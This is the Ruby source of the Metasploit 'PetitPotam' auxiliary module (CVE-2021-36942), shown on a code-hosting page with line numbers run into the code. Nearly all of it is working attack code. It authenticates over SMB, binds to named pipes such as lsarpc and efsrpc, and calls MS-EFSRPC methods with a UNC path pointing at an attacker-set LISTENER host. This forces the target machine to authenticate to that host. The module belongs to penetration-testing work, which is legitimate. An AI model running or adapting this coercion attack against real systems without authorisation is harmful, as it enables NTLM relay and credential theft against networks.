Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/auxiliary/scanner/dcerpc/petitpotam.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45require 'windows_error'6require 'ruby_smb'7require 'ruby_smb/error'8require 'ruby_smb/dcerpc/lsarpc'9require 'ruby_smb/dcerpc/efsrpc'1011class MetasploitModule < Msf::Auxiliary12include Msf::Exploit::Remote::DCERPC13include Msf::Exploit::Remote::SMB::Client::Authenticated14include Msf::Auxiliary::Scanner15include Msf::Auxiliary::Report1617METHODS = %w[EfsRpcOpenFileRaw EfsRpcEncryptFileSrv EfsRpcDecryptFileSrv EfsRpcQueryUsersOnFile EfsRpcQueryRecoveryAgents].freeze18# The LSARPC UUID should be used for all pipe handles, except for the efsrpc one. For that one use19# Efsrpc and it's normal UUID20PIPE_HANDLES = {21lsarpc: {22endpoint: RubySMB::Dcerpc::Lsarpc,23filename: 'lsarpc'.freeze24},25efsrpc: {26endpoint: RubySMB::Dcerpc::Efsrpc,27filename: 'efsrpc'.freeze28},29samr: {30endpoint: RubySMB::Dcerpc::Lsarpc,31filename: 'samr'.freeze32},33lsass: {34endpoint: RubySMB::Dcerpc::Lsarpc,35filename: 'lsass'.freeze36},37netlogon: {38endpoint: RubySMB::Dcerpc::Lsarpc,39filename: 'netlogon'.freeze40}41}.freeze4243def initialize44super(45'Name' => 'PetitPotam',46'Description' => %q{47Coerce an authentication attempt over SMB to other machines via MS-EFSRPC methods.48},49'Author' => [50'GILLES Lionel',51'Spencer McIntyre'52],53'References' => [54[ 'CVE', '2021-36942' ],55[ 'URL', 'https://github.com/topotam/PetitPotam' ],56[ 'URL', 'https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-efsr/403c7ae0-1a3a-4e96-8efc-54e79a2cc451' ]57],58'License' => MSF_LICENSE59)6061register_options(62[63OptString.new('LISTENER', [ true, 'The host listening for the incoming connection', Rex::Socket.source_address ]),64OptEnum.new('PIPE', [ true, 'The named pipe to use for triggering', 'lsarpc', PIPE_HANDLES.keys.map(&:to_s) ]),65OptEnum.new('METHOD', [ true, 'The RPC method to use for triggering', 'Automatic', ['Automatic'] + METHODS ])66]67)68end6970def run_host(_ip)71begin72connect73rescue Rex::ConnectionError => e74fail_with(Failure::Unreachable, e.message)75end7677begin78smb_login79rescue Rex::Proto::SMB::Exceptions::Error, RubySMB::Error::RubySMBError => e80fail_with(Failure::NoAccess, "Unable to authenticate ([#{e.class}] #{e}).")81end82report_service(service_data)8384begin85@tree = simple.client.tree_connect("\\\\#{sock.peerhost}\\IPC$")86rescue RubySMB::Error::RubySMBError => e87raise StandardError, "Unable to connect to the remote IPC$ share ([#{e.class}] #{e})."88end8990handle_args = PIPE_HANDLES[datastore['PIPE'].to_sym]91fail_with(Failure::BadConfig, "Invalid pipe: #{datastore['PIPE']}") unless handle_args9293# rename tree_file94@pipe = @tree.open_file(filename: handle_args[:filename], write: true, read: true)95handle = dcerpc_handle(96handle_args[:endpoint]::UUID,97handle_args.fetch(:version, '1.0'),98handle_args.fetch(:protocol, 'ncacn_np'),99["\\#{handle_args[:filename]}"]100)101vprint_status("Binding to #{handle} ...")102@pipe.bind(103endpoint: handle_args[:endpoint],104auth_level: RubySMB::Dcerpc::RPC_C_AUTHN_LEVEL_PKT_PRIVACY,105auth_type: RubySMB::Dcerpc::RPC_C_AUTHN_WINNT106)107vprint_status("Bound to #{handle} ...")108109if datastore['METHOD'] == 'Automatic'110methods = METHODS111else112methods = [datastore['METHOD']]113end114115methods.each do |method|116vprint_status("Attempting to coerce authentication via #{method}")117response = efs_call(118method,119file_name: "\\\\#{datastore['LISTENER']}\\#{Rex::Text.rand_text_alphanumeric(4..8)}\\#{Rex::Text.rand_text_alphanumeric(4..8)}.#{Rex::Text.rand_text_alphanumeric(3)}"120)121if response.nil?122unless method == methods.last123# rebind if we got a DCERPC error (as indicated by no response) and there are more methods to try124vprint_status("Rebinding to #{handle} ...")125@pipe.close126@pipe = @tree.open_file(filename: handle_args[:filename], write: true, read: true)127@pipe.bind(128endpoint: handle_args[:endpoint],129auth_level: RubySMB::Dcerpc::RPC_C_AUTHN_LEVEL_PKT_PRIVACY,130auth_type: RubySMB::Dcerpc::RPC_C_AUTHN_WINNT131)132end133134next135end136137error_status = response.error_status.to_i138win32_error = ::WindowsError::Win32.find_by_retval(error_status).first139case win32_error140when ::WindowsError::Win32::ERROR_BAD_NETPATH141# this should be the response even if LISTENER was inaccessible142print_good('Server responded with ERROR_BAD_NETPATH which indicates that the attack was successful')143break144when nil145print_status("Server responded with unknown error: 0x#{error_status.to_s(16).rjust(8, '0')}")146else147print_status("Server responded with #{win32_error.name} (#{win32_error.description})")148end149end150end151152def cleanup153if @pipe154@pipe.close155@pipe = nil156end157158if @tree159@tree.disconnect!160@tree = nil161end162163super164end165166def efs_call(name, **kwargs)167request = RubySMB::Dcerpc::Efsrpc.const_get("#{name}Request").new(**kwargs)168169begin170raw_response = @pipe.dcerpc_request(171request,172auth_level: RubySMB::Dcerpc::RPC_C_AUTHN_LEVEL_PKT_PRIVACY,173auth_type: RubySMB::Dcerpc::RPC_C_AUTHN_WINNT174)175rescue Rex::Proto::DCERPC::Exceptions::Fault => e176print_error "The #{name} Encrypting File System RPC request failed (#{e.message})."177return nil178end179180RubySMB::Dcerpc::Efsrpc.const_get("#{name}Response").read(raw_response)181end182183def service_data184{185host: rhost,186port: rport,187host_name: simple.client.default_name,188proto: 'tcp',189name: 'smb',190info: "Module: #{fullname}, last negotiated version: SMBv#{simple.client.negotiated_smb_version} (dialect = #{simple.client.dialect})"191}192end193end194195196